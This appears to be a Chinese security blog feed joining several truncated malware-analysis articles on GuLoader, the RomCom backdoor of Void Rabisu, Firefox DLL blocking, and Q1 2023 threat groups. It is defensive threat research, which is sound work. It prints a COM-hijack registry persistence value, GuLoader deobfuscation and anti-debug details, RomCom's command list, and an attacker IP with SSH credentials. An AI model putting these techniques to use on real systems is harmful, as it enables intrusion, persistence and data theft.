7.對於Control Flow Guard安全措施來說,蹦床很棘手:由於它們是合法的間接調用目標,在編譯時不存在,所以需要特別注意允許Firefox修復過的函數調用它們;
8.蹦床還包括一些額外的異常處理;
9.如果DLL在阻止列表中,我們的修復版本NtMapViewOfSection()將返回映射失敗,這將導致整個DLL加載失敗。這不會阻止所有類型的注入,但它確實阻止了大多數注入;
一些DLL將通過修改firefox.exe的導入地址表來自我注入,該表是firefox.exe調用的外部函數的列表。如果其中一個函數加載失敗,Windows將終止Firefox進程。因此,如果Firefox檢測到這種注入並想要阻止DLL,我們將把DLL的DllMain()重定向到一個什麼都不做的函數。
總結希望讀者在閱讀本文後,可以讓Firefox用戶更加安全地訪問互聯網。用戶大可不必在卸載有用的第三方產品和Firefox的穩定性問題之間做出選擇,現在用戶有了第三種選擇,即保留第三方的產品並阻止其註入Firefox!
HireHackking
GuLoader又稱CloudEyE,是一種Visual Basic Script (VBS) 下載程序,用於在受感染的計算機上傳播遠程訪問木馬,最早於2019年被首次發現。 GuLoader是一個著名的基於shellcode的下載程序,已被用於大量攻擊,主要用於傳輸各類惡意軟件。 GuLoader已經活躍了三年多,目前仍在進一步開發中。最新版本集成了新的反分析技術,這使得檢測變得越來越困難。新的GuLoader樣本在VirusTotal上接收零檢測,確保其惡意有效負載也未被檢測到。
GuLoader的有效負載是完全加密的,包括PE標頭。這允許攻擊者使用知名的公共雲服務存儲有效負載,繞過安全保護,並保持有效負載長時間可供下載。
早期版本的GuLoader是作為包含加密shellcode的VB6應用程序實現的。目前,最常見的版本是基於VBScript和NSIS安裝程序。 VBScript變體將shellcode存儲在遠程服務器上。
GuLoader介紹“封裝”和“加密”服務是專門為抵抗安全產品而設計的。 GuLoader是攻擊者用來逃避安全檢測的最重要途徑。

過去6個月內使用GuLoader的攻擊次數
除了代碼加密之外,GuLoader還利用了許多其他技術,包括反調試和沙盒逃避技術。 GuLoader的一個顯著特徵是加密的有效負載被上傳到遠程服務器。潛在的攻擊者會獲得一個高度保護的基於shellcode的加載程序,該加載程序從遠程服務器下載負載,然後解密並在內存中運行它,而不會將解密的數據釋放到硬盤驅動器中。
儘管谷歌努力阻止GuLoader加密的惡意負載,但在大多數情況下,GuLoader仍然從谷歌硬盤下載負載。下圖顯示了GuLoader在過去一個月使用的不同託管服務的統計數據。

GuLoader在2023年3月至4月期間使用的不同託管服務
有分析表明,GuLoader目前被用來傳播以下惡意軟件:
Formbook
XLoader
Remcos
404Keylogger
Lokibot
AgentTesla
NanoCore
NetWire
早期的GuLoader樣本設法避免了安全產品的檢測,但後來不同的安全解決方案都能夠檢測到它。然而,在網絡安全供應商不斷提高同時,GuLoader的開發人員也在繼續改進他們的產品。
技術細節GuLoader的早期版本是作為包含加密shellcode的VB6應用程序實現的。 shellcode執行加載加密有效負載、解密和從內存啟動它的主要功能。
目前,最常見的版本是基於VBScript和NSIS安裝程序(Nullsoft Scriptable Install System)。
VBScript變體在2022年底介紹的早期版本中,shellcode存儲在VBScript中。
新版本的一個顯著特點是加密的shellcode託管在雲服務(通常是Google Drive)上。 VBScript本身只包含一個小的混淆的PowerShell腳本和大量的垃圾代碼。這使得GuLoader樣本保持非常低的檢測率。
以下是使用GuLoader的VBS變體的感染鏈示例:

使用GuLoader的VBS變體的感染鏈
讓我們考慮一個SHA256 5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5的示例。在2023年3月3日上傳到VirusTotal (VT)時,它從未被檢測到:

上傳兩天后,59家供應商中只有17家將此樣本標記為惡意樣本。
在撰寫本文時,指定的樣本上傳到VT已有3週,下載GuLoader shellcode和下載惡意負載(Remcos)的url仍然很活躍:

讓我們來看看GuLoader VBScript的內部。它包含許多偽隨機註釋和一些無用的命令。清理之後,我們得到的代碼是這樣的:

清理過的GuLoader vbscript
這段代碼的目的是調用PowerShell解釋器,並將“pa0”變量中收集的腳本代碼作為參數傳遞給它。
如果我們在添加省略和連字符後查看“pa0”變量的內容,我們會得到以下腳本:

GuLoader混淆了PowerShell腳本
我們看到這個新腳本包含函數“Gothites9”,它實現了從第二個字符開始以3的步長剪切傳遞的字符串。因此,命令“$Tjene0=Gothites9'OIUlEDiXSa';”的結果是“IEX”。
字符串$Parrotb以相同的方式轉換。從位置2開始,從該字符串中每隔三個字符獲取一個字符串,該字符串是另一個PowerShell腳本:

刪除第一層混淆後的GuLoader PowerShell腳本
該腳本可以通過使用IEX命令(如果操作系統是32位)調用,也可以作為參數傳遞給從SysWOW64文件夾調用的PowerShell解釋器(如果操作系統是64位)。這是因為GuLoader shellcode必須在32位進程中運行。
可以看到,腳本代碼包含指向Google Drive的URL。
但是,生成的腳本仍然嚴重混淆。腳本以一個用於解碼字符串的函數開始:

GuLoader PowerShell腳本中的編碼字符串
有趣的是,嵌套腳本中的所有行都以編碼形式存儲,除了包含URL的行。
腳本去混淆後,我們得到以下代碼:

GuLoader PowerShell腳本去混淆
現在我們可以看到,腳本分配了2個內存區域,將數據從鏈接下載到Google Drive,並將其保存到臨時文件“%APPDATA%\Umig.For”中。接下來,使用BASE64對下載文件的內容進行解碼。解碼數據的前654個字節被釋放在第一個存儲區域(本例中為“$Gamme2483”),其餘的被釋放在第二個存儲區域中(本例為“$Nulstille”)。前654個字節包含一個混淆的shellcode,它旨在解密第二個複制區域,其中包含加密形式的shellcode的主要部分。
通過使用CallWindowsProc回調函數將控制權轉移到解密器,該函數還接收加密shellcode的地址和NtProtectVirtualMemory函數的地址作為參數。
基於NSIS安裝程序的變體與VBS變體不同,基於NSIS的樣本包含GuLoader shellcode,儘管是以加密的形式。這允許安全研究人員在沙盒中運行示例並查看GuLoader的行為,即使沙盒沒有連接到互聯網。靜態分析NSIS腳本和加密shellcode也是可能的。
在上傳到VirusTotal後,此類樣本現在可以被檢測到。

基於NSIS安裝程序的GuLoader變體的檢測率
我們不會詳細描述這種變體,因為在GuLoader: The NSIS Vantage Point一文中已經對其進行了分析。
GuLoader shellcodeNSIS和VBS變體都使用相同版本的shellcode。與以前的GuLoader版本一樣,shellcode實現了大量的反分析技術:
沙盒逃避技術包括:
掃描內存中與vm相關的字符串;
使用CPUID指令檢查虛擬化環境位是否開啟;
使用RDTSC結合CPUID測量時間;
搜索QEMU相關文件:C:\Program files\QEMU ga\QEMU-ga.exe和C:\Program files\qga\qga.exe;
使用EnumWindows API函數統計Windows的數量;
使用EnumDeviceDrivers API函數檢查是否存在與vm相關的驅動程序;
使用MsiEnumProductsA和MsiGetProductInfoA枚舉已安裝的軟件;
反調試技術:
掛鉤函數DbgBreakPoint和DbgUiRemoveBreakIn,以防止調試器附加;
從使用ThreadHideFromDebugger調用NtSetInformationThread函數的調試器中隱藏主線程ThreadInformation類值;
了解了GuLoader shellcode所使用的技術,在動態分析過程中使用調試器可以很容易地繞過它們。然而,在新版本中,我們遇到了一種使調試和靜態分析都非常困難的技術。
一種新的反分析技術從2022年底開始,GuLoader shellcode使用了一種新的反分析技術,它通過故意拋出大量異常並在將控制權轉移到動態計算地址的向量異常處理程序中處理它們來打破代碼執行的正常流程。
為了拋出異常,代碼使用int3指令。可以實現一個腳本,將int3指令自動替換為跳轉到正確地址的指令:

用jmp指令替換int3指令
該技術在《恶意软件分析:GuLoader剖析揭示新的反分析技术和代码注入冗余》 一文中首次被公開。然而,在新版本中,這項技術得到了改進。 shellcode開始使用三種不同的模式來拋出異常併中斷正常的代碼執行流程。
訪問無效內存地址導致訪問衝突
這種模式非常簡單。首先,作為數學運算的結果,其中一個寄存器被設置為零值。然後shellcode嘗試將數據寫入由該寄存器尋址的內存:

訪問無效內存地址引發訪問違規異常
導致訪問違規異常(0xC0000005)。該異常在GuLoader中由註冊的VEH處理,該VEH計算新地址以繼續執行shellcode。所使用的數字和導致計算零值的數學運算總是不同的。
設置陷阱標誌以引發單步異常GuLoader使用以下指令組合來設置EFALGS寄存器中的TF:

設置陷阱標誌以引發單步異常
乍一看,這段代碼中發生了什麼並不清楚。然而,如果我們計算寄存器EDI中的值,則得到值0x100。接下來的幾個指令的組合旨在推動EFLAGS並將TF (陷阱標誌)位設置為“1”。然後,將堆棧中修改後的值設置回EFLAGS寄存器。
當在EFLAGS寄存器中設置了Trap標誌但未附加調試器時,處理器會在執行下一條指令後生成單步異常(0x80000004)。在GuLoader中,註冊的VEH在這種情況下被調用。但是,如果附加了調試器,則不會調用GuLoader的VEH,並且執行路徑錯誤。
GuLoader shellcode中的代碼塊總是不同的,可以使用寄存器的各種組合。在無效內存地址的情況下,使用的數字和導致在EFLAGS寄存器中計算值0x100來設置TF的數學運算總是不同的。
使用int3引發斷點異常使用int3作為指令進行反分析技術已經在以前版本的GuLoader中實現。然而,它仍然被用於GuLoadershellcode的各個部分。當CPU在沒有調試器的情況下遇到int3指令時,它會生成斷點異常(0x80000003),並調用已註冊的VEH。但是,如果附加了調試器,則控制將轉移到調試器的中斷處理程序,該中斷處理程序通常會暫停程序的執行。 int3指令後面通常是隨機字節,這些字節會破壞shellcode的正常執行:

使用int3引發斷點異常
因此,如果不分析GuLoader VEH的代碼,我們就無法確定正確的執行路徑。
異常處理程序為了在出現3個指定異常的情況下計算新的跳轉地址,並將程序引導到新的執行路徑,GuLoader使用RtlAddVectoredExceptionHandler函數註冊向量異常處理程序(VEH)。
為了了解跳轉地址是如何計算的,讓我們看一下VEH代碼。
與代碼的其他部分一樣,VEH代碼也被混淆了。它包含垃圾指令,並且使用XOR運算動態計算重要值:

混淆的VEH代碼
然而,在IDA中反編譯之後,這段代碼看起來非常簡單:

反編譯的VEH代碼
如上所述,根據異常代碼的不同,VEH操作略有不同。在異常0x80000004 (EXCEPTION_SIGNLE_STEP)和0xC0000005 (EXCEPTION_ACCESS_VIOLATION)的情況下,它從發生異常的指令中獲取偏移量2處的字節值,並將該字節與某個常數值進行XOR(本例中為0x8B)。在異常0x80000003 (EXCEPTION_BREAKPOINT)的情況下,將獲取偏移量1處的字節,並使用常量進行XOR運算。需要注意的是,指定的常數在所有樣品中都是不同的。然後將得到的值添加到異常上下文中的EIP值中。因此,當退出異常處理程序時,控制權將轉移到新地址。
在所有情況下,異常處理程序還會檢查調試寄存器的狀態:

檢查VEH中的調試寄存器
如果設置了任何硬件斷點,異常處理程序將引用零地址而不是ContextRecord地址。這最終會導致應用程序崩潰。
在EXCEPTION_BREAKPOINT的情況下,異常處理程序還在舊EIP和計算出的新EIP值之間的地址空間中查找軟件斷點。
儘管可以使用各種各樣的代碼組合來觸發異常處理程序的執行,但它們都遵循3種模式,我們可以實現一個正則表達式來查找其中的大多數。不過,我們期望GuLoader開發人員在新版本中改變模式。
要修復一條引發異常的指令,並將其替換為跳轉到x32dbg中的正確地址,可以使用以下腳本(必須將0x8B替換為分析示例中的常量值):

URL解密
所有字符串,包括下載最終有效負載的URL,都被加密並以特定形式存儲在shellcode中:

對於上面的示例,我們去混淆了代碼,清除了垃圾指令和跳轉。實際上,代碼中包含大量的垃圾和無效指令。為了幫助理解混淆的複雜性,這是與前面的示例相對應的原始代碼的一部分:

在嚴重混淆的GuLoader shellcode中合成加密字符串
與字符串不同,解密密鑰存儲為解密函數後面的常規字節序列:

字符串解密XOR密鑰
這個密鑰通常不是很長,最多64字節。
使用帶有解密密鑰的XOR運算對字符串進行解密。解密字符串後,我們可以找到一個看起來像URL但沒有架構的字符串:

很明顯,GuLoader的開發者已經發現了安全研究人員知道了其在已知明文攻擊中使用字符串“http://”或“https://”解密以前版本shellcode中的url的方法,以檢測解密密鑰的第一個字節。因此,在新版本中,他們用隨機字節替換了URL方案。
如果解密後的URL字符串的第5個字節等於“s”,則GuLoader將前8個字節替換為“https://”。否則,它將用“http://”替換前7個字節。
以下是從不同示例中提取的更多URL字符串的示例:

有效負載解密
有效負載解密密鑰也以與加密字符串相同的方式存儲,但是該密鑰沒有被加密。密鑰長度通常在800-900字節的範圍內。
例如,在MD5 40b9ca22013d02303d49d8f922ac2739的示例中,密鑰的長度為844字節。然而,另一個長度用於解密例程,並以混淆形式存儲:

用於解密有效負載的密鑰長度與密鑰存儲的長度不同
GuLoader使用不同的大小,而不是與密鑰一起存儲的大小,來欺騙自動分析。如果我們不考慮這一點,我們只能解密下載有效負載的前843字節,其餘的數據將被破壞。
與以前
HireHackking
由經濟利益驅動,惡意組織在地緣衝突區域發起APT攻擊的趨勢越來越明顯。
Void Rabisu,也被稱為Tropical Scorpius,研究人員認為它使用RomCom後門發起攻擊。分析發現,Void Rabisu的攻擊是出於經濟動機。自2022年10月以來,Void Rabisu的動機似乎發生了變化,當時RomCom後門被報導出現在俄烏衝突中。
研究發現,至少自2022年10月以來,RomCom後門一直出現在地緣政治區域,接下來,研究人員將討論RomCom是如何隨著時間的推移而演變的,以及後門是如何通過類似APT的方法傳播的,以及目前正在發生的著名網絡犯罪活動所使用的方法,以表明RomCom正在使用更多的逃避技術。
RomCom使用的第三方服務也被其他攻擊者使用,如惡意軟件簽名和二進制加密。 RomCom已經通過許多誘餌網站傳播。 Void Rabisu是出於經濟動機的,他們的目標和動機在特殊的地緣政治環境下看起來更像是出於政治目的。
RomCom活動自2022年夏天以來,研究人員一直在跟踪RomCom的活動,自那以後,它的逃避方法有所升級,惡意軟件不僅經常使用VMProtect來增加手動和自動沙盒分析的難度,而且還在有效負載文件上使用二進制填充技術。這為文件添加了大量的覆蓋字節,增加了惡意負載的大小(研究人員看到一個文件的大小為1.7G)。此外,最近添加了一個新的例程,該例程涉及有效負載文件的加密,只有在下載特定密鑰以激活有效負載的情況下,才能對有效負載文件進行解密。
除了這些逃避技術外,RomCom還使用誘餌網站進行傳播,這些網站通常看起來是合法的,並被用於目標定位。這使得通過網絡信譽系統自動屏蔽這些誘惑網站變得更加困難。 Void Rabisu一直在使用谷歌廣告誘導他們的目標訪問誘餌網站,類似於2022年12月傳播IcedID殭屍網絡的活動。一個關鍵的區別是,雖然IcedID的目標範圍更廣,但Void Rabisu可能選擇了谷歌廣告向其廣告商提供的更有針對性的目標。
RomCom的活動還利用了具有高度針對性的魚叉式網絡釣魚電子郵件。
在RomCom誘餌網站上,目標被提供合法應用程序的木馬版本,如聊天應用程序(如AstraChat和Signal)、PDF閱讀器、遠程桌面應用程序、密碼管理器和其他通常由系統管理員使用的工具。






研究人員統計了自2022年7月以來建立的幾十個誘餌網站。例如,RomCom在2022年3月對一名歐洲議會議員使用了魚叉式網絡釣魚,但在2022年10月通過谷歌廣告定位了一家歐洲國防公司,該廣告導致一個中介登陸網站重定向到RomCom誘餌網站。該中介登陸網站使用了域名“kagomadb[.]com”,該域名後來於2022年12月用於Qakbot和Gozi有效負載。
追踪發現,RomCom後門的目標是烏克蘭及其盟友。
RomCom 3.0:AstraChat活動接下來,我們將分析2023年2月針對東歐目標使用的RomCom後門樣本。 Palo Alto的Unit 42分析了以前的RomCom版本,使用模塊化架構,支持多達20種不同的命令。從那時起,惡意軟件在支持的命令數量方面發生了顯著變化,但其模塊化架構幾乎沒有改變。 RomCom 3.0背後的攻擊者還使用不同的技術來釋放和執行惡意軟件。該分析基於一項將RomCom 3.0嵌入AstraChat即時消息軟件安裝包的活動。
Dropperastrachat.msi 文件是一個Microsoft安裝程序(msi)文檔。儘管安裝了與合法的AstraChat軟件相關的文件,但它還是打開了一個惡意的InstallA.dll文件,並調用其Main()函數。

InstallA.dll文件提取%PUBLIC%\Libraries文件夾下的三個動態鏈接庫(DLL)文件:
prxyms
winipfile
netid
這些DLL文件中的數字是基於從HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid的Windows註冊表中讀取的計算機GUID的整數。
持久性為了持久性,RomCom使用COM劫持,因此得名。 InstallA.dll在Windows註冊表中寫入以下註冊表值:
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32]
@='%PUBLIC%\\Libraries\\prxyms
這會覆蓋HKEY_LOCAL_MACHINEhive中的相同項,導致請求該類ID(CLSID)的進程加載位於%PUBLIC%\Libraries\prxyms.DLL的RomCom加載程序DLL。其中一個進程是explorer.exe,它由RomCom dropper重新啟動,因此調用加載程序DLL。
RomCom加載程序還通過使用轉發的導出將對其導出函數的調用重定向到合法的actxprxy.dll。

RomCom 3.0加載程序(prxyms
但是,在調用被轉發之前,RomCom加載程序的DLL入口點上的惡意代碼會運行。這段代碼使用rundll32.exe來執行從winipfile
基礎架構RomCom 3.0分為三個組件:一個加載器,一個與命令和控制(CC)服務器交互的網絡組件,以及一個在受害者計算機上執行操作的工作組件。網絡組件由netid

RomCom 3.0總體架構
Bot命令RomCom 3.0命令是惡意網絡組件對HTTP POST請求的響應。

RomCom 3.0命令結構
上圖顯示了接收到命令5的示例,該命令是將文件下載到受害者的計算機上的命令。用於通信的ID是0x950,並且接收到帶有附加數據的命令0x05。在這種情況下,附加數據告訴受感染計算機上運行的惡意軟件,下載的文件應佔用939 (0x3ac – 1) 4KB塊。文件本身是在單獨的響應中下載的,因此在這種情況下,受害者端的最終文件大小將為3,846,144字節。作為一種逃避技術,將空字節附加到文件中以實現此結果,附加數據字段的內容可能因命令而異。
在RomCom 3.0中,研究人員列舉了42個有效命令,以下是用於常規後門的大量命令,但是其中一些命令只是其他命令的變體。
1—發送連接的驅動器信息;
2—發送指定目錄下的文件名列表;
3—啟動cmd.exe以運行現有程序;
4—將指定的文件上載到CC服務器;
5—將文件下載到受害者的計算機上;
6—刪除受害者計算機上的指定文件;
7—刪除受害者計算機上的指定目錄;
8—生成一個帶有PID欺騙的給定進程(PID也作為命令數據的一部分);
12—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker(),然後將%PUBLIC%\Libraries\PhotoDirector.zip發送到CC服務器並將其刪除;
13—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker(),將屏幕信息寫入%PUBLIC%\Libraries\update.conf;
14—將%PUBLIC%\Libraries\PhotoDirector.zip上傳到CC服務器並將其刪除;
15—發送正在運行的進程及其PID的列表;
16—發送已安裝軟件列表;
17—刪除worker組件(winipfile
18—下載文件並將其保存到%PUBLIC%\Libraries\PhotoDirector.dll;
19—下載一個文件,保存到“%PUBLIC%\Libraries\BrowserData\procsys.dll”中,調用其導出的stub()函數;
20—下載一個可能包含3proxy和plink的ZIP文件;
21—使用3proxy和plink,通過SSH協議建立代理,接收IP地址、密碼、本地和遠程端口作為命令參數,SSH服務器用戶名固定為“john”;
22—終止3proxy.exe和plink.exe進程;
23—下載一個文件並將其保存到%PUBLIC%\Libraries\upd-fil
24—發送%PUBLIC%\Libraries\BrowserData\Result的內容;
25—複製工作線程;
26—發送Windows版本;
29—從CC服務器下載freeSSHd;
30—運行freeSSHd並使用plink創建51.195.49.215的反向連接,用戶名為“john”,密碼為“eK6czNHWCT569L1xK9ZH”
31—關閉freeSSHd進程;
32—在%USERPROFILE%中的“下載”、“文檔”和“桌面”文件夾中發送.txt、rtf、xls、xlsx、ods、cmd、pdf、vbs、ps1、one、kdb、/kdb、doc、doc,odt、eml、msg和.email文件;
34—在受害者計算機的隱藏窗口運行AnyDesk,將AnyDesk ID發送給CC服務器;
35—終止AnyDesk進程,並刪除其可執行文件;
36—下載AnyDesk可執行文件並將其保存到%PUBLIC%\Libraries\dsk.exe;
38—下載文件並將其保存到%PUBLIC%\Libraries\wallet.exe;
39—下載文件並將其保存到%PUBLIC%\Libraries\7z.dll;
40—下載文件並將其保存到%PUBLIC%\Libraries\7z.exe;
41—發送用7-Zip壓縮的%PUBLIC%\Libraries\tempFolder的內容;
42—下載文件並將其保存到%PUBLIC%\Libraries\7za.exe;
43—使用%PUBLIC%\Libraries\7za.exe將給定文件夾壓縮為fold.zip文檔,並將壓縮後的文檔發送到CC服務器;
44—終止PhotoDirector.dll進程;
45—下載文件並將其保存到%PUBLIC%\Libraries\msg.dll;
46—調用%PUBLIC%\Libraries\msg.dll導出的stW()函數;
47—下載文件並將其保存到%PUBLIC%\Libraries\FileInfo.dll;
48—調用%PUBLIC%\Libraries\FileInfo.dll導出的fSt()函數;
49—更新網絡組件;
其他惡意軟件根據發送回CC服務器的消息以及命令如何使用這些文件,研究人員可以推斷出幾個附加組件的用途:
PhotoDirector.dll—用於獲取一個或多個屏幕截圖,並將它們壓縮到%PUBLIC%\Libraries\PhotoDirector.zip中的程序;
procsys.dll—一個被稱為STEALDEAL的竊取程序,用於檢索瀏覽器cookie並將其寫入%PUBLIC%\Libraries\BrowserData\Result;
wallet.exe—一個加密錢包抓取器,將被盜信息寫入%PUBLIC%\Libraries\tempFolder;
msg.dll—用於竊取聊天信息的即時消息抓取器;
FileInfo.dll—FTP憑據的竊取器,或使受害者的計算機將文件上傳到FTP服務器的組件;
除了這些額外的惡意軟件,RomCom 3.0似乎也有下載和運行合法軟件的命令:
dsk.exe–AnyDesk軟件的便攜式版本;
7z.dll、7z.exe和7za.exe–與7-Zip程序相關的文件;
STEALDEAL通過RomCom的CC服務器下載的竊取程序是一個相對簡單的程序,它可以從以下瀏覽器中竊取存儲的憑據和瀏覽歷史:
GoogleChrome
MicrosoftEdge
MozillaFirefox
Chromium
ChromeBeta
YandexBrowser
竊取器還收集了有關已安裝郵件客戶端的信息。被盜數據本地存儲在受害者計算機上的%PUBLIC%\Libraries\BrowserData\Result,通過CC命令24,這些數據通過RomCom CC服務器進行被洩漏。研究人員檢測到這個竊取器是TrojanSpy.Win64.STEALDEAL,也被稱為SneakyTealer。
逃避技術RomCom 3.0二進製文件受VMProtect保護。有些二進製文件還使用有效的證書進行簽名。因為攻擊者決定使用VMProtect的反虛擬機功能,在沒有修改或虛擬機加固的情況下在虛擬機中運行它的任何嘗試都將導致惡意軟件顯示錯誤消息並退出。

RomCom 3.0示例中默認的VMProtect反虛擬機檢測
RomCom使用的另一個有趣的技術是將空字節添加到從CC服務器接收的文件中的能力。將文件增大可以是為了避免沙盒產品或安全軟件掃描儀對文件大小進行限制。
在之後的RomCom版本中,託管在誘餌網站上的二進製文件包含加密的有效負載。要正確解密負載,它需要訪問IP地址為94.142.138.244的web服務器並下載解密密鑰。研究人員懷疑該網站是一個第三方服務,也可能被其他惡意軟件使用,包括Vidar竊取程序,也被稱為StealC。另外,最新的RomCom釋放程序已停止釋放worker組件。相反,網絡組件要從CC服務器下載它。
數據包的結構(packetstructure)和通信流根據研究人員對受害者計算機和RomCom CC服務器之間通信的觀察,研究人員能夠確定這種通信的數據包結構。最初,客戶端會向服務器發送受害者計算機上的信息,例如其通用唯一標識符(UUID)、用戶名和計算機名稱。然後,服務器將使用一個四個字節長的會話ID進行響應。然後,CC服務器對發送到受害計算機的每個命令在第一個字節上增加一個會話ID。

觀察到的數據包結構
研究人員觀察到的第一個命令是命令3,它使用cmd.exe運行帶有參數/domain_trusts的Nltest命令。這樣做是為了收集受害者計算機可能知道的任何域的信息。一旦命令完成,它將返回會話ID為五字節的命令結果;此時前四個字節是未知的,但研究人員觀察到,如果它向服務器返回數據,則第一個字節將為0x01,如果它從服務器接收數據,則為0x00。
然後,CC服務器似乎以自動的方式請求特定的信息,因為相同的請求會快速連續地發送。根據研究人員的分析,他們確定服務器正在請求受害計算機:
使用命令3返回ntlist/domain_trusts;
下載StealtDeal以收集某些信息;
使用StealtDeal從受害者的計算機收集cookie和其他信息;
使用命令32從“桌面”、“文檔”和“下載”文件夾中收集文件;

CC服務器和受害者計算機之間的通信流程
使用假冒公司和網站惡意軟件使用證書為目標受害者下載的軟件增加可信度。乍一看,正在簽署這些二進製文件的公司看起來像是經過證書籤名的合法公司。然而,仔細查看這些公司的網站會發現一些奇怪之處,包括不存在的電話號碼、高管的照片、似乎不匹配的辦公室地址。這讓研究人員相信,這些要么是虛假公司,要么是合法公司,它們被濫用以逃避二進製文件授權簽名檢查。
AstraChat活動中使用的RomCom 3.0樣本由一家名為Noray 的加拿大諮詢公司簽署,該公司擁有一個LinkedIn頁面、一個網站,甚至在加拿大的商業註冊中有一個列表。

Noray 諮詢公司的LinkedIn頁面截圖

Noray 諮詢公司的安大略省商業註冊搜索結果
該公司的LinkedIn頁面還提到,Noray 諮詢公司致力於《萨班斯-奥克斯利法案》 (SOX)規定的年度審計,以及其他風險控制領域。然而,領英的頁面也指向一個不存在的網站noray[.]ca。
根據其LinkedIn頁面,該公司聲稱總部位於安大略省,研究人員在加拿大企業的公共記錄中查找了有關該公司的任何信息。在2020年,Noray 諮詢公司的所有者已經修改了公司名稱。攻擊者似乎很善於利用那些不活躍或處於類似狀態的公司,然後會盜用這些公司的名字。
在網上搜索Noray諮詢公司時會發現,其主要網站有一個不匹配的域名firstbytecconsulting[.]com。該網站曾是一家專門從事項目管理公司的網站。該域名似乎已於2020年到期,但被購買並重新利用,類似於2020年之前的網站。現在,將這個域名與Noray諮詢公司有關的是,網站上的地址詳細信息與Noray諮詢公司的LinkedIn頁面上的地址信息相匹配:這是一家位於安大略省米爾頓的加拿大公司。聯繫人頁面上有一張顯示公司位置的地圖,但地圖是俄語的。這可能意味著製作這張谷歌地圖的人的主要語言設置為俄語,這對於一家加拿大公司來說及其怪異。

網站聯繫人頁面地圖截圖
研究人員還發現,他們網站上提到的人很可能是與企業沒有任何關係的人的庫存圖像或人工智能生成的照片,如下圖所示。

網站團隊成員頁面截圖
進一步調查顯示,上圖中潛藏有許多危險標識:
這些人在互聯網上似乎都沒有真實的人物形象;
反向圖像搜索顯示,這些是在幾個網站上使用的庫存照片圖像;
團隊中的兩名成員擁有相同的職位,即“經理、人力資源流程和薪酬”;
研究人員還觀察到,Noray諮詢公司網站其他部分的文本有部分是從其他網站複製的。這表明,這些攻擊者正試圖讓這些網站變得可信,提供從網上找到的真實公司那裡獲得的看似現實的服務。
Void Rabisu有許多誘餌網站,試圖說服目標下載木馬合法應用程序。這些誘餌網站乍看起來是合法的,但仔細看會有許多奇怪之處。例如,
HireHackking

標題:2023年第一季度IT攻擊概述

BlueNoroff引入繞過MotW的新方法早2022年底,研究人員就發布過BlueNoroff組織的活動,這是一個以盜竊加密貨幣而聞名的出於經濟動機的組織,通常利用Word文檔,使用快捷方式文件進行初始攻擊。不過最近的追踪發現,該組織採用了新的方法來傳播其惡意軟件。
其中一種是使用.ISO(光盤映像)和VHD(虛擬硬盤)文件格式,旨在避開Web標記(MotW)標誌。 MOTW是Windows Internet Explorer通過強制使IE瀏覽器瀏覽存儲下來的網頁在安全的位置的一種機制,目的是增強安全性。
該組織似乎也在嘗試用新的文件類型來傳播其惡意軟件。研究人員觀察到一個新的Visual Basic腳本、一個以前未見過的Windows批處理文件和一個Windows可執行文件。

分析顯示,該組織使用了70多個域名,這意味著他們直到最近都非常活躍。他們還創建了許多看起來像風險投資和銀行域名的假域名,這些域名大多模仿日本風險投資公司,表明該組織對日本金融機構有著廣泛的興趣。
Roaming Mantis使用了新的DNSChanger(DNS解析器)Roaming Mantis(又名Shaoye)是一個針對亞洲國家的知名攻擊組織。從2019年到2022年,這名攻擊者主要使用“smishing”來提供其登陸頁面的鏈接,目的是控制受攻擊的安卓設備並竊取設備信息,包括用戶憑據。
然而,在2022年9月,研究人員發現Roaming Mantis使用了新的Wroba.o Android惡意軟件,並發現了一個DNS解析器功能,該功能主要針對韓國使用的特定Wi-Fi路由器。

這可以用於管理來自使用惡意DNS設置的受攻擊Wi-Fi路由器的設備的所有通信,例如,將某人重定向到惡意主機並干擾安全產品更新。用戶將受攻擊的安卓設備連接到咖啡館、酒吧、圖書館、酒店、購物中心和機場等場所的免費公共Wi-Fi。當連接到具有易受攻擊設置的目標Wi-Fi型號時,惡意軟件將破壞路由器並影響其他設備。因此,它可以在目標區域廣泛傳播。
BadMagic:與俄烏衝突有關的新APT組織自俄烏衝突開始以來,研究人員已經發現了大量地緣政治網絡攻擊。
去年10月,研究人員就發現了BadMagic的攻擊。最初的攻擊途徑尚不清楚,但接下來要使用魚叉式網絡釣魚或類似的方法。攻擊目標被導航到一個URL,該URL指向託管在惡意web服務器上的ZIP文檔。該文檔包含兩個文件:一個是誘餌文檔(研究人員發現了PDF、XLSX和DOCX版本),另一個是帶有雙重擴展名的惡意LNK文件(例如PDF.LNK),打開後會導致攻擊。

在一些情況下,誘餌文檔的內容與惡意LNK的名稱直接相關,以誘使用戶激活它。
LNK文件下載並安裝了一個名為“PowerMagic”的PowerShell後門,該後門反過來部署了一個複雜的模塊化框架“CommonMagic”。研究人員發現CommonMagic插件能夠從USB設備中竊取文件,並進行截屏將其發送給攻擊者。

在初步分析中,研究人員無法找到任何證據將他們發現的樣本和活動中使用的數據與任何以前已知的攻擊者聯繫起來。
Prilex針對非接觸式信用卡交易發起攻擊Prilex已經從專注於ATM的攻擊演變成了涉及PoS的攻擊。該組織開發的最新惡意軟件不是基於PoS攻擊中常見的內存抓取器技術,而是直接開發了一種高度先進的惡意軟件,該軟件包括獨特的加密方案、目標軟件的實時補丁、強制協議降級、操縱密碼、執行所謂的“GHOST交易”和信用卡欺詐,甚至是芯片和PIN卡上的欺詐。
在調查一起事件時,研究人員發現了新的Prilex樣本,其中一個新功能包括阻止非接觸式交易的功能。這些交易生成一個僅對一筆交易有效的唯一標識符,這樣攻擊者就沒有辦法利用它了。通過阻止交易,Prilex試圖迫使客戶插入他們的卡來進行芯片和PIN交易,這樣攻擊者就有機會使用他們的標準技術從卡中捕獲數據。
隨著非接觸式卡交易的增加,該技術可以讓Prilex攻擊者繼續竊取卡信息。
攻擊者使用社會工程來攻擊PoS終端,他們試圖說服零售店的員工,他們迫切需要更新終端的軟件,並允許所謂“技術專家”訪問商店,或者至少提供遠程訪問終端的權限。所以,零售公司要警惕攻擊跡象,包括反复失敗的非接觸式交易,並教育員工了解這種攻擊方法。
